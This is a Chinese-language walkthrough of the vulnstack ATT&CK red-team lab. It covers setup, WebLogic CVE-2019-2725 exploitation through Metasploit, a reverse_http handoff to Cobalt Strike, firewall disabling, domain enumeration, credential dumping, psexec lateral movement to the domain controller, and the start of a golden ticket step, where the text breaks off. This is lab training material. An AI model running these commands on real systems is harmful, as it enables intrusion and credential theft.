红日安全vulnstack-ATT&CK实战系列 红队实战(二)

一.介绍

vulnstack官网下载地址，是拿百度网盘下载的

靶机描述

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX

二.环境搭建

还是三个压缩包，下载解压之后直接把三个vmx文件拖到VMware中即可

拖进去后它的网络适配也是已经配置好的(只放了一张图，三个都是已经配好的)

这里我把kali攻击机也放到这个段里

使用默认密码登录，我这里WEB虚拟机默认密码登录失败，切换用户de1ay/1qaz@WSX登录成功

WEB机登录成功后需要手动开启服务，在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理，管理员身份依次运行，管理员账号密码：Administrator/1qaz@WSX

总体思路

信息收集后发现weblogic口，进行测试发现反序列化漏洞，工具小子直接上线拿下shell，然后常规操作上线cs，内网信息收集后抓取明文密码利用psexec横向移动拿下DC，同样操作可以拿下PC。中间思路方法特别多，我可能是采用了最简洁的一种(靶机作者描述到的技术基本上没怎么涉及到)。

三.渗透测试

信息收集

扫同段主机arp-scan -l

对80进行端口扫描nmap -sS -v 192.168.111.80 (-sS半开放扫描，执行快效率高 -v在扫描过程中显示扫描细节)

逐个访问端口，80端口是个空白页面，7001是weblogic，后台地址http://ip:7001/console

漏洞利用

使用 WeblogicScan 扫描一下可能存在的漏洞，下载地址：https://github.com/rabbitmask/WeblogicScan，下载后直接开扫

python3 WeblogicScan.py -u 192.168.111.80 -p 7001  

这里想利用最新的CVE-2019-2725，在msf中找一下

msfconsole
search CVE-2019-2725

设置一下配置

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
show options
set target 1
set lhost 192.168.111.128
set lport 1234
set rhosts
run

这里先cs上线，cs启动

./teamserver 192.168.111.128 123456

创建监听器，也就是msf的handler

使用payload_inject上线cs

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1
run

因为是打靶机这里仍然sleep 1

执行windows的命令时还需要在命令前加shell

提权

进行提权，add一个监听器

内网渗透

信息收集

查看基本信息shell ipconfig /all，发现机器有双网卡，内网 10.10.10.1/24 网段，DNS服务器10.10.10.10，也就是域控
关闭防火墙netsh advfirewall set allprofiles state off
查看有几个域net view /domain
查看域名net config workstation
查看域内主机nei view
查询域内用户net user /domain
查看域管理员net group "domain admins" /domain  
内端口扫描portscan 10.10.10.0/24 445 arp 200

这里cs上的view-targets都有记录

横向移动

这里想用psexec直接进行横向移动，抓取明文密码

创建SMB的监听器

在view-targets中使用psexec进行横向移动

成功上线DC，既然上线了DC，同样的方法将PC上线。

伪造黄金票据

在DC绘会话中通过hashdump，logonpasswords获得sid与krbtgt